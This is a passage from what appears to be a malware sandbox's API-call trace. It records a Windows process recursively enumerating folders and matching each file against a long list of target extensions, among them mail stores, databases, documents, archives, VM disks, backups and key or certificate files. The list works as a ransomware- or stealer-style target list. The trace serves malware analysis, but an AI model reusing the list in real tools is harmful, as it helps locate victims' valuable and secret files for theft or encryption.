returned 0 [0104.087] lstrlenA (lpString="*.ofx") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.qif") returned 0 [0104.087] lstrlenA (lpString="*.qif") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mye") returned 0 [0104.087] lstrlenA (lpString="*.mye") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mbox") returned 0 [0104.087] lstrlenA (lpString="*.mbox") returned 6 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.eml") returned 0 [0104.087] lstrlenA (lpString="*.eml") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.pst") returned 0 [0104.087] lstrlenA (lpString="*.pst") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.ost") returned 0 [0104.087] lstrlenA (lpString="*.ost") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.idx") returned 0 [0104.087] lstrlenA (lpString="*.idx") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.dbx") returned 0 [0104.087] lstrlenA (lpString="*.dbx") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.sql") returned 0 [0104.087] lstrlenA (lpString="*.sql") returned 5 [0104.087] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mdb") returned 0 [0104.088] lstrlenA (lpString="*.mdb") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.fdb") returned 0 [0104.088] lstrlenA (lpString="*.fdb") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.wab") returned 0 [0104.088] lstrlenA (lpString="*.wab") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.dat") returned 0 [0104.088] lstrlenA (lpString="*.dat") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.txt") returned 0 [0104.088] lstrlenA (lpString="*.txt") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.jpeg") returned 0 [0104.088] lstrlenA (lpString="*.jpeg") returned 6 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.jpg") returned 0 [0104.088] lstrlenA (lpString="*.jpg") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.png") returned 0 [0104.088] lstrlenA (lpString="*.png") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.php") returned 0 [0104.088] lstrlenA (lpString="*.php") returned 5 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.cs") returned 0 [0104.088] lstrlenA (lpString="*.cs") returned 4 [0104.088] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.cpp") returned 0 [0104.088] lstrlenA (lpString="*.cpp") returned 5 [0104.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.rar") returned 0 [0104.089] lstrlenA (lpString="*.rar") returned 5 [0104.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.zip") returned 0 [0104.089] lstrlenA (lpString="*.zip") returned 5 [0104.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.html") returned 0 [0104.089] lstrlenA (lpString="*.html") returned 6 [0104.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.htm") returned 0 [0104.089] lstrlenA (lpString="*.htm") returned 5 [0104.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.xlsx") returned 0 [0104.090] lstrlenA (lpString="*.xlsx") returned 6 [0104.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.xls") returned 0 [0104.090] lstrlenA (lpString="*.xls") returned 5 [0104.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mp4") returned 0 [0104.090] lstrlenA (lpString="*.mp4") returned 5 [0104.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.ppt") returned 0 [0104.090] lstrlenA (lpString="*.ppt") returned 5 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.pptx") returned 0 [0104.091] lstrlenA (lpString="*.pptx") returned 6 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.doc") returned 0 [0104.091] lstrlenA (lpString="*.doc") returned 5 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.dot") returned 0 [0104.091] lstrlenA (lpString="*.dot") returned 5 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.docx") returned 0 [0104.091] lstrlenA (lpString="*.docx") returned 6 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.7z") returned 0 [0104.091] lstrlenA (lpString="*.7z") returned 4 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.tar") returned 0 [0104.091] lstrlenA (lpString="*.tar") returned 5 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.bz2") returned 0 [0104.091] lstrlenA (lpString="*.bz2") returned 5 [0104.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.gz") returned 0 [0104.091] lstrlenA (lpString="*.gz") returned 4 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mkv") returned 0 [0104.092] lstrlenA (lpString="*.mkv") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.eml") returned 0 [0104.092] lstrlenA (lpString="*.eml") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.msg") returned 0 [0104.092] lstrlenA (lpString="*.msg") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.edb") returned 0 [0104.092] lstrlenA (lpString="*.edb") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.accdb") returned 0 [0104.092] lstrlenA (lpString="*.accdb") returned 7 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.odb") returned 0 [0104.092] lstrlenA (lpString="*.odb") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.java") returned 0 [0104.092] lstrlenA (lpString="*.java") returned 6 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.asm") returned 0 [0104.092] lstrlenA (lpString="*.asm") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.pfx") returned 0 [0104.092] lstrlenA (lpString="*.pfx") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.pem") returned 0 [0104.092] lstrlenA (lpString="*.pem") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.p12") returned 0 [0104.092] lstrlenA (lpString="*.p12") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.gpg") returned 0 [0104.092] lstrlenA (lpString="*.gpg") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.vsd") returned 0 [0104.092] lstrlenA (lpString="*.vsd") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.odg") returned 0 [0104.092] lstrlenA (lpString="*.odg") returned 5 [0104.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.raw") returned 0 [0104.092] lstrlenA (lpString="*.raw") returned 5 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.nef") returned 0 [0104.093] lstrlenA (lpString="*.nef") returned 5 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.svg") returned 0 [0104.093] lstrlenA (lpString="*.svg") returned 5 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.psd") returned 0 [0104.093] lstrlenA (lpString="*.psd") returned 5 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.vmx") returned 0 [0104.093] lstrlenA (lpString="*.vmx") returned 5 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.vmdk") returned 0 [0104.093] lstrlenA (lpString="*.vmdk") returned 6 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.vdi") returned 0 [0104.093] lstrlenA (lpString="*.vdi") returned 5 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.lay6") returned 0 [0104.093] lstrlenA (lpString="*.lay6") returned 6 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mpeg") returned 0 [0104.093] lstrlenA (lpString="*.mpeg") returned 6 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.djvu") returned 0 [0104.093] lstrlenA (lpString="*.djvu") returned 6 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.tiff") returned 0 [0104.093] lstrlenA (lpString="*.tiff") returned 6 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.backup") returned 0 [0104.093] lstrlenA (lpString="*.backup") returned 8 [0104.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.pdf") returned 0 [0104.093] lstrlenA (lpString="*.pdf") returned 5 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.cert") returned 0 [0104.094] lstrlenA (lpString="*.cert") returned 6 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.docm") returned 0 [0104.094] lstrlenA (lpString="*.docm") returned 6 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.xlsm") returned 0 [0104.094] lstrlenA (lpString="*.xlsm") returned 6 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.dwg") returned 0 [0104.094] lstrlenA (lpString="*.dwg") returned 5 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.nd") returned 0 [0104.094] lstrlenA (lpString="*.nd") returned 4 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.tlg") returned 0 [0104.094] lstrlenA (lpString="*.tlg") returned 5 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.lgb") returned 0 [0104.094] lstrlenA (lpString="*.lgb") returned 5 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mov") returned 0 [0104.094] lstrlenA (lpString="*.mov") returned 5 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.xdw") returned 0 [0104.094] lstrlenA (lpString="*.xdw") returned 5 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.ods") returned 0 [0104.094] lstrlenA (lpString="*.ods") returned 5 [0104.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.wav") returned 0 [0104.094] lstrlenA (lpString="*.wav") returned 5 [0104.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.mp3") returned 0 [0104.095] lstrlenA (lpString="*.mp3") returned 5 [0104.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.aiff") returned 0 [0104.095] lstrlenA (lpString="*.aiff") returned 6 [0104.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.flac") returned 0 [0104.095] lstrlenA (lpString="*.flac") returned 6 [0104.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.m4a") returned 0 [0104.095] lstrlenA (lpString="*.m4a") returned 5 [0104.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\napcrypt\\09b65f9c3f78e6ef3e259af945e937b9\\napcrypt.ni.dll", pszSpec="*.csv") returned 0 [0104.095] lstrlenA (lpString="*.csv") returned 5 [0104.095] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b868df9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b868df9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b868df9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x13800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="napcrypt.ni.dll", cAlternateFileName="NAPCRY~1.DLL")) returned 0 [0104.095] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.095] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b8b50b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5b8b50b9, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5b8b50b9, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="09b65f9c3f78e6ef3e259af945e937b9", cAlternateFileName="09B65F~1")) returned 0 [0104.095] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0104.095] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bbaec3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bbaec3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x61006e, dwReserved1=0x630070, cFileName="naphlpr", cAlternateFileName="")) returned 1 [0104.096] lstrcmpA (lpString1=".", lpString2="naphlpr") returned -1 [0104.096] lstrcmpA (lpString1="..", lpString2="naphlpr") returned -1 [0104.096] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0104.096] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="naphlpr" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr" [0104.096] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr") returned 54 [0104.096] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bbaec3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bbaec3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0104.097] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.097] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bbaec3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bbaec3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.097] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.097] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.097] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bbaec3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bbaec3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3905ee11acabb6d202a69b8bfa3c91a0", cAlternateFileName="3905EE~1")) returned 1 [0104.097] lstrcmpA (lpString1=".", lpString2="3905ee11acabb6d202a69b8bfa3c91a0") returned -1 [0104.097] lstrcmpA (lpString1="..", lpString2="3905ee11acabb6d202a69b8bfa3c91a0") returned -1 [0104.097] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\*.*") returned="*.*" [0104.097] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\", lpString2="3905ee11acabb6d202a69b8bfa3c91a0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0" [0104.097] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0") returned 87 [0104.097] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bbaec3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bbaec3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.098] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.098] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bbaec3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bbaec3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x5bbaec3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.098] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.098] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.098] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bb6297e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x5bb6297e, ftLastAccessTime.dwHighDateTime=0x1cb892f, 